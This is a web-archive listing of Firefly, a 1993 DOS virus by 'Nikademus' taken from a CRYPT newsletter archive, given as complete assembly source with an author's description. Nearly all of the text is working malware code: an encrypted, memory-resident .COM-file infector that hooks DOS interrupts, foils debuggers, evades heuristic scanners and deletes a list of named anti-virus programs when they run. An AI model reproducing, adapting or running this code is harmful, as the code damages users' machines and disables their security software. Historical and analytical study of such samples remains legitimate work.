home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CRYPT20.ZIP / FIREFLY.TXT < prev    next >
Text File  |  1993-11-24  |  20KB  |  517 lines

  1. ;FIREFLY virus, by Nikademus.                
  2. ;
  3. ;Firefly is an encrypted, memory resident virus which infects
  4. ;.COMfiles on load.  It incorporates code from Proto-T, 
  5. ;LokJaw and YB-X viruses and, when in memory, attacks a large selection
  6. ;of anti-virus programs as they are executed.  Anti-virus programs
  7. ;identified by Firefly's execute/load handler are deleted.
  8. ;Firefly incorporates simple code from previous issues of the newsletter
  9. ;designed to de-install generic VSAFE resident virus activity
  10. ;filters designed for Microsoft by Central Point Software.  It
  11. ;contains instructions - specifically a segment of pseudo-nested 
  12. ;loops - which spoof F-Protect's expert system generic virus
  13. ;identification feature.
  14. ;
  15. ;FIREFLY also includes a visual marker tied to the system timer
  16. ;tick interrupt (1Ch) which slowly cycles the NumLock, CapsLock
  17. ;and ScrollLock LEDs on the keyboard.  This produces a noticeable
  18. ;twinkling effect when the virus is active on a machine.
  19. ;
  20. ;Anti-anti-virus measures used by Firefly vary in effectiveness
  21. ;dependent upon how a user employs software.  For example, while
  22. ;Firefly is designed to delete the Victor Charlie anti-virus
  23. ;shell, VC.EXE, a user who employs the software packages utilities
  24. ;for generic virus detection singly, will not be interfered with
  25. ;by the virus. Your results may vary, but the virus does effectively
  26. ;delete anti-virus programs while in memory unless steps are taken
  27. ;beforehand to avoid this.
  28. ;
  29. ;Firefly incorporates minor code armoring techniques designed to thwart
  30. ;trivial debugging.
  31.  
  32.         
  33.         
  34.         .radix 16
  35.      code       segment
  36.         model  small
  37.         assume cs:code, ds:code, es:code
  38.  
  39.         org 100h
  40.  
  41. len             equ offset last - start
  42. vir_len         equ len / 16d                    ; 16 bytes per paragraph 
  43. encryptlength   equ (last - begin)/4+1
  44.  
  45.  
  46.  
  47. start:
  48.         mov bx, offset begin        ; The Encryption Head
  49.         mov cx, encryptlength       ;
  50. encryption_loop:                            ;
  51.         db      81h                 ; XOR WORD PTR [BX], ????h
  52.         db      37h                 ;
  53. encryption_value_1:                         ;
  54.         dw      0000h               ;
  55.                         ;
  56.         db      81h                 ; XOR WORD PTR [BX+2], ????h
  57.         db      77h                 ;
  58.         db      02h                 ; 2 different random words
  59. encryption_value_2:                         ; give 32-bit encryption
  60.         dw      0000h               ;
  61.         add     bx, 4               ;
  62.         loop    encryption_loop     ;
  63. begin:                                           
  64.         jmp virus             
  65.         db     '[Firefly] By Nikademus $'
  66.         db     'Greetings to Urnst Kouch and the CRYPT staff. $'
  67. virus:     
  68.         call    bp_fixup                 ; bp fixup to determine
  69. bp_fixup:                                        ; locations of data
  70.         pop     bp                       ; with respect to the new      
  71.         sub     bp, offset bp_fixup      ; host                  
  72.  
  73. Is_I_runnin:    
  74.         call    screw_fprot              ; screwing
  75.         call    screw_fprot              ; heuristic scanning
  76.         call    screw_fprot              ;
  77.         call    screw_fprot              ;
  78.         call    screw_fprot              ;
  79.         call    screw_fprot              ;
  80.         call    screw_fprot              ;
  81.         call    screw_fprot              ;
  82.         call    screw_fprot              ;
  83.         call    screw_fprot              ;
  84.         push    ds
  85.         push    es
  86.         mov     ax,2C2Ch                 ;  
  87.         int     21h                      ; call to see if runnin  
  88.         cmp     ax, 0FFFh                ; am i resident?
  89.         jne     cut_hole                 ;
  90. fix_victim:     
  91.         pop     es                       ; replace victims 3 bytes
  92.         pop     ds                       ;
  93.         mov     di,050h                  ; stops one of SCAN's    
  94.         add     di,0B0h                  ; generic scan attempts
  95.         lea     si, ds:[vict_head + bp]  ; (scan only worked on        
  96.         mov     cx, 03h                  ; unencrypted copies 
  97.         rep     movsb                    ; regardless)
  98. Bye_Bye: 
  99.         mov     bx, 100h                 ; jump to 100h
  100.         jmp     bx                       ; (start of victim)
  101. cut_hole:  
  102.         mov     dx, 5945h                ; pull CPAV (MSAV)
  103.         mov     ax, 64001d               ; out of memory
  104.         int     16h                      ; (This also screws with
  105.                          ;  TBCLEAN ???????)
  106.         
  107.         call    screw_fprot              ; more screwing of
  108.         call    screw_fprot              ; heuristic scanning
  109.         call    screw_fprot              ;
  110.         call    screw_fprot              ;
  111.         call    screw_fprot              ;
  112.         call    screw_fprot              ;
  113.  
  114.         mov     bx,cs                    ; reduce memory size     
  115.         dec     bx                       ;    
  116.         mov     ds,bx                    ;   
  117.         cmp     byte ptr ds:[0000],5a    ;    
  118.         jne     fix_victim               ;         
  119.         mov     bx,ds:[0003]             ;    
  120.         sub     bx, 100h                 ; # of 16byte paragraphs      
  121.         mov     ds:0003,bx               ; to grab (4k)
  122. Zopy_me:  
  123.         xchg    bx, ax                   ; copy self to the new
  124.         mov     bx, es                   ; 'unused' part of memory    
  125.         add     bx, ax                   ;    
  126.         mov     es, bx                   ;
  127.         mov     cx,len                   ;
  128.         mov     ax,ds                    ;   
  129.         inc     ax                       ;
  130.         mov     ds,ax                    ;
  131.         lea     si,ds:[offset start+bp]  ;          
  132.         lea     di,es:0100               ;   
  133.         rep     movsb                    ;   
  134.  
  135. Hookroutines:                  ; interrupt manipulation (Happy!, Happy!)
  136.         xor     ax, ax                    ;     (Joy!, Joy!)
  137.         mov     ds, ax
  138.         push    ds                        ; push 0000h
  139.         lds     ax, ds:[1Ch*4]
  140.         mov     word ptr es:old_1Ch, ax   ; save 1C
  141.         mov     word ptr es:old_1Ch+2, ds 
  142.         pop     ds
  143.         push    ds
  144.         lds     ax, ds:[21h*4]            ; get int 21h
  145.         mov     word ptr es:old_21h, ax   ; save 21
  146.         mov     word ptr es:old_21h+2, ds 
  147.         mov     bx, ds                    ; bx = ds
  148.         pop     ds
  149.         mov     word ptr ds:[1h*4], ax    ; put int 21h into 1 and 3
  150.         mov     word ptr ds:[1h*4+2], bx  ; this should screw   
  151.         mov     word ptr ds:[3h*4], ax    ; most debuggers
  152.         mov     word ptr ds:[3h*4+2], bx  
  153.         mov     word ptr ds:[21h*4], offset Firefly ; put self in 21 
  154.         mov     ds:[21h*4+2], es                    ;
  155.         mov     ds:[1Ch*4+2], es
  156.         mov     word ptr ds:[1Ch*4], offset Lights  ; hook 1C
  157.         jmp     fix_victim
  158. Lights:                                     ; keyboard lights changer...
  159.                         ; found in NIKTRKS1.ZIP
  160.         push    ax                  ; save these
  161.         push    bx                  ;
  162.         push    cx                  ;
  163.         push    dx                  ;
  164.         push    si                  ;
  165.         push    di                  ;
  166.         push    ds                  ;
  167.         push    es                  ;
  168.         
  169.         push    cs
  170.         pop     ds
  171.         push    cs
  172.         pop     es
  173.         cmp     [click], 63d         ; after 63 clicks
  174.         je      one
  175.         cmp     [click], 126d        ; after 126 clicks
  176.         je      two
  177.         cmp     [click], 189d        ; after 189 clicks
  178.         je      three
  179.         cmp     [click], 0ffh        ; have we counted to 255?
  180.         je      clear
  181.         inc     [click]              ; increase click count
  182.         jmp     endme
  183. clear:          mov     [click], 00h         ; clear click count
  184.         mov     ax, 40h
  185.         mov     ds, ax
  186.         mov     bx, 17h              ; ds:bx = location o' flags
  187.         and     byte ptr [bx],0      ; clear keyboard flag(s)
  188.         jmp     endme
  189. one:            inc     [click]
  190.         mov     ax, 40h
  191.         mov     ds, ax
  192.         mov     bx, 17h
  193.         mov     byte ptr [bx],20h    ; set numlock flag
  194.         jmp     endme
  195. two:            inc     [click]
  196.         mov     ax, 40h
  197.         mov     ds, ax
  198.         mov     bx, 17h
  199.         mov     byte ptr [bx],40h    ; set caps lock flag
  200.         jmp     endme
  201. three:          inc     [click]
  202.         mov     ax, 40h
  203.         mov     ds, ax
  204.         mov     bx, 17h              
  205.         mov     byte ptr [bx],10h    ; set scroll lock flag
  206. endme:       
  207.         pop     es
  208.         pop     ds
  209.         pop     di
  210.         pop     si
  211.         pop     dx
  212.         pop     cx
  213.         pop     bx
  214.         pop     ax
  215.         jmp     dword ptr cs:[old_1Ch]     ; Go to old int 1Ch
  216.         db      'Psalm 69'
  217. screw_fprot:
  218.         jmp  $ + 2                 ;  Nested calls to confuse
  219.         call screw2                ;  f-protect's heuristic
  220.         call screw2                ;  analysis
  221.         call screw2                ;
  222.         call screw2                ;
  223.         call screw2                ;
  224.         ret                        ;
  225. screw2:                                    ;
  226.         jmp  $ + 2                 ;
  227.         call screw3                ;
  228.         call screw3                ;
  229.         call screw3                ;
  230.         call screw3                ;
  231.         call screw3                ;
  232.         ret                        ;
  233. screw3:                                    ;
  234.         jmp  $ + 2                 ;
  235.         call screw4                ;
  236.         call screw4                ;
  237.         call screw4                ;
  238.         call screw4                ;
  239.         call screw4                ;
  240.         ret                        ;
  241. screw4:                                    ;
  242.         jmp  $ + 2                 ;
  243.         ret                        ;
  244.         db      'Every day is Halloween'
  245. Firefly:                                   
  246.         pushf                              ; Am I checking if     
  247.         cmp     ax,2c2ch                   ; I am resident?
  248.         jne     My_21h                     ;
  249.         mov     ax,0FFFh                   ; If so, return
  250.         popf                               ; 0FFFh in AX    
  251.         iret                               ;
  252.         
  253. My_21h:         
  254.         push    ax                         ; save these
  255.         push    bx                         ;
  256.         push    cx                         ;
  257.         push    dx                         ;
  258.         push    si                         ;
  259.         push    di                         ;
  260.         push    ds                         ;
  261.         push    es                         ;
  262. check_for_proper_calls:     
  263.         cmp     ah, 4Bh                    ; executed? 
  264.         je      chk_com 
  265.         cmp     ah, 3Dh                    ; open?
  266.         je      chk_com
  267.         cmp     ah, 43h                    ; attribs?
  268.         je      chk_com
  269.         cmp     ah, 6Ch                    ; extended open?
  270.         je      extended              
  271.            
  272. notforme:       
  273.         pop     es
  274.         pop     ds
  275.         pop     di
  276.         pop     si
  277.         pop     dx
  278.         pop     cx
  279.         pop     bx
  280.         pop     ax
  281.         popf
  282.         jmp     dword ptr cs:[old_21h]     ; The End
  283.         db      'Happiness in Slavery'
  284. extended:
  285.         mov     dx, si                     ; now a normal open
  286. chk_com:        
  287.         mov     word ptr cs:victim_name,dx
  288.         mov     word ptr cs:victim_name+2,ds
  289.         cld                          
  290.         mov     di,dx                
  291.         push    ds
  292.         pop     es
  293.         mov     al,'.'                     ; find the period
  294.         repne   scasb                      ;
  295.         call    avtest                
  296.         cmp     ax, 00ffh                  ; WAS the program an AV?
  297.         je      notforme
  298.         cmp     word ptr es:[di],'OC'      ; is i a .(CO)M?
  299.         jne     notforme                
  300. Grab_24:                                           ; hook interrupt 24
  301.         push    ds                         ; by direct writes to 
  302.         push    dx                         ; interrupt vector
  303.         xor     ax, ax                     ; table
  304.         mov     ds, ax                     ;
  305.         mov     dx, offset new_24h         ;
  306.         mov     word ptr ds:[24h*4], dx    ;
  307.         mov     word ptr ds:[24h*4+2], es  ; 
  308.         pop     dx                         
  309.         pop     ds                         
  310.         
  311. open_victim:      
  312.         push    cs
  313.         pop     es
  314.         lds     dx, cs:victim_name       ; get and save attributes
  315.         mov     ax, 4300h                ;
  316.         int     3h                       ;
  317.         jc      notforme                 ; error handler
  318.         push    cx                       ;
  319.         push    ds                       ;
  320.         push    dx                       
  321.         mov     ax, 4301h                ; clear attribs
  322.         xor     cx, cx                   ;
  323.         int     1h                       ;
  324.         jc      notforme
  325.         mov     ax,3D02h                 ; open victim
  326.         lds     dx, cs:victim_name       ;
  327.         int     3h                       ;
  328.         jc      notforme                 ; error handler
  329.         push    cs                       ;
  330.         pop     ds                       ;
  331.         xchg    ax, bx                   ; put handle in proper place
  332. get_date:                                        ; get and save date 
  333.                          ; and time
  334.         mov     ax,5700h        
  335.         int     3h
  336.         push    cx                       ; save time
  337.         push    dx                       ; save date
  338.         
  339. check_forme:    
  340.         mov     ah,3fh                       ; read 1st 3 bytes
  341.         mov     cx,03h                       ;
  342.         mov     dx,offset vict_head          ;
  343.         int     1h
  344.         
  345.         mov     ax, 4202h                    ; point to end
  346.         xor     cx, cx                       ;
  347.         xor     dx, dx                       ;
  348.         int     3h                           ;
  349.         
  350.         mov     cx, word ptr [vict_head+1]   ; possible jump location
  351.         add     cx, last-start+3             ;
  352.         cmp     ax, cx                       ; already infected?
  353.         jz      save_date                    ;
  354.         push    ax
  355. get_random:                
  356.         mov     ah, 2Ch                      ; dx and (cx-dx)
  357.         int     3h                           ; will be to two
  358.         or      dx, dx                       ; encryption values
  359.         jz      get_random                   ;
  360. write_virus:    
  361.         mov     word ptr [offset encryption_value_1], dx
  362.         mov     word ptr [offset e_value_1], dx
  363.         sub     cx, dx
  364.         mov     word ptr [offset encryption_value_2], cx
  365.         mov     word ptr [offset e_value_2], cx
  366.         pop     ax
  367.         mov     si, ax                       ; fix BX offset in head
  368.         add     si, ((offset begin-offset start)+100h) 
  369.         mov     word ptr [offset start+1], si  
  370.         
  371.         mov     si, offset start             ; copy virus to buffer
  372.         mov     di, offset encryptbuffer     ;
  373.         mov     cx, last-start               ;
  374.         rep     movsb                        ;
  375.  
  376.         sub     ax, 03h                          ; construct jump
  377.         mov     word ptr [offset new_jump+1], ax ;
  378.         mov     dl, 0E9h                         ;
  379.         mov     byte ptr [offset new_jump], dl   ;
  380. Encryptvirus_in_buffer:                
  381.         push    bx                                   ; encrypt copy
  382.         mov bx, offset ((begin-start)+encryptbuffer) ; in encrypt-           
  383.         mov cx, encryptlength                        ; buffer
  384. e_loop:                                                      ;
  385.         db      81h                                  ; XOR [bx]
  386.         db      37h                                  ;  
  387. e_value_1:                                                   ;
  388.         dw      0000h                                ; scrambler #1
  389.         db      81h                                  ; XOR [bx+2]
  390.         db      77h                                  ;
  391.         db      02h                                  ;
  392. e_value_2:                                                   ;
  393.         dw      0000h                                ; scrambler #2
  394.         add     bx, 4                                ;
  395.         loop    e_loop                               ; loop
  396.  
  397.         pop     bx
  398.         mov     ah, 40h                      ; write virus   
  399.         mov     cx, last-start               ;
  400.         mov     dx, offset encryptbuffer     ;
  401.         int     1h                           ;
  402.         
  403.         mov     ax, 4200h                    ; point to front
  404.         xor     cx, cx                       ;
  405.         xor     dx, dx                       ;
  406.         int     1h                           ;
  407.         
  408.         mov     ah, 40h                      ; write jump
  409.         mov     dx, offset new_jump          ;
  410.         mov     cx, 03h                      ;
  411.         int     3h                           ;
  412. save_date:                                     
  413.         pop     dx                        ; Date
  414.         pop     cx                        ; Time
  415.         mov     ax,5701h                  ;
  416.         int     1h
  417.                            ;
  418. close_file:                                    ;
  419.         mov     ah,03Eh                ; Close file and restore  
  420.         int     3h                     ; attribs
  421.         mov     ax, 4301h              ;
  422.         pop     dx                     ;
  423.         pop     ds                     ; This is the end...
  424.         pop     cx                     ; My only friend, The End.
  425.         int     3h                     ;       - Jim Morrison
  426.         jmp     notforme               ;
  427. new_24h:        
  428.         mov     al,3                   ; Critical Error (Mis)handler
  429.         iret                           ;
  430.         db      'The land of Rape and Honey'
  431.  
  432.         ; This area is the "intelligence" of Firefly
  433.         ; It looks for known AV names which it then deletes.
  434.         ; So it sort of shuts down the computers "immune system"
  435. avtest:
  436.         cmp     word ptr es:[di-3],'MI'    ;Integrity Master
  437.         je      AV                         ;*IM
  438.         
  439.         cmp     word ptr es:[di-3],'XR'    ;*rx
  440.         je      AV                         ;
  441.         
  442.         cmp     word ptr es:[di-3],'PO'    ;*STOP
  443.         jne     next1                      ;(VIRSTOP)
  444.         cmp     word ptr es:[di-5],'TS'    ;
  445.         je      AV                         ;
  446.  
  447. next1:          cmp     word ptr es:[di-3],'VA'    ;*AV  i.e. cpav
  448.         je      AV_Detected                ;(TBAV) (MSAV)  
  449.         
  450.         cmp     word ptr es:[di-3],'TO'    ;*prot  f-prot
  451.         jne     next2                      ;
  452.         cmp     word ptr es:[di-5],'RP'    ;
  453.         jne     next2                      ;  
  454. AV:             jmp     AV_Detected                ; must be equal
  455.  
  456. next2:          cmp     word ptr es:[di-3],'NA'    ;*scan  McAffee's 
  457.         jne     next3                      ;(TBSCAN)
  458.         cmp     word ptr es:[di-5],'CS'    ;
  459.         je      AV_Detected                ;  
  460.         
  461.         cmp     word ptr es:[di-3],'NA'    ;*lean  CLEAN..
  462.         jne     next3                      ; why not eh?
  463.         cmp     word ptr es:[di-5],'EL'    ;(TBCLEAN)
  464.         je      AV_Detected                ;  
  465.  
  466. next3:          cmp     word ptr es:[di-3],'CV'    ; Victor Charlie
  467.         je      AV_Detected                ; default  *VC
  468.         
  469.         cmp     word ptr es:[di-3],'KC'    ; VCHECK
  470.         jne     next4                      ; (Victor Charlie)
  471.         cmp     word ptr es:[di-5],'EH'    ; (TBCHECK) *HECK
  472.         je      AV_Detected                ;  
  473. next4:                
  474.         cmp     word ptr es:[di-3],'ME'    ; TBMEM
  475.         jne     next5                      ; *BMEM
  476.         cmp     word ptr es:[di-5],'MB'    ; 
  477.         je      AV_Detected                ;  
  478. next5:                
  479.         cmp     word ptr es:[di-3],'XN'    ; TBSCANX
  480.         jne     next6                      ; *CANX
  481.         cmp     word ptr es:[di-5],'AC'    ; 
  482.         je      AV_Detected                ;  
  483. next6:                
  484.         cmp     word ptr es:[di-3],'EL'    ; TBFILE
  485.         jne     next7                      ; *FILE
  486.         cmp     word ptr es:[di-5],'IF'    ; 
  487.         je      AV_Detected                ;  
  488. next7:                
  489.         ret
  490. AV_Detected:      
  491.         mov     ds, word ptr cs:[victim_name + 2] ; The Victim
  492.         mov     dx, word ptr cs:[victim_name]
  493.         mov     ax, 4301h                    ; Clear it's attribs
  494.         mov     cx, 00h                      ;
  495.         int     1h
  496.         mov     ah, 41h                      ; Delete It.
  497.         int     3h                           ; 
  498.         ret                                  ;
  499.         db      'Its Dead Jim'                               
  500.  
  501. vict_head       db  090h, 0cdh, 020h                 ; 3 bytes of storage
  502. old_21h         dw  00h,00h                          ; int 21 storage
  503. old_1Ch         dw  00h,00h
  504. click           db  00h
  505. last:                                               
  506.  
  507. ; The heap........   junk not needed in main program
  508.  
  509. victim_name     dd  ?
  510. new_jump        db  090h, 090h, 090h       
  511. encryptbuffer   db       (last-start)+1 dup (?)
  512. code            ends
  513.         end start
  514.  
  515.  
  516.  
  517.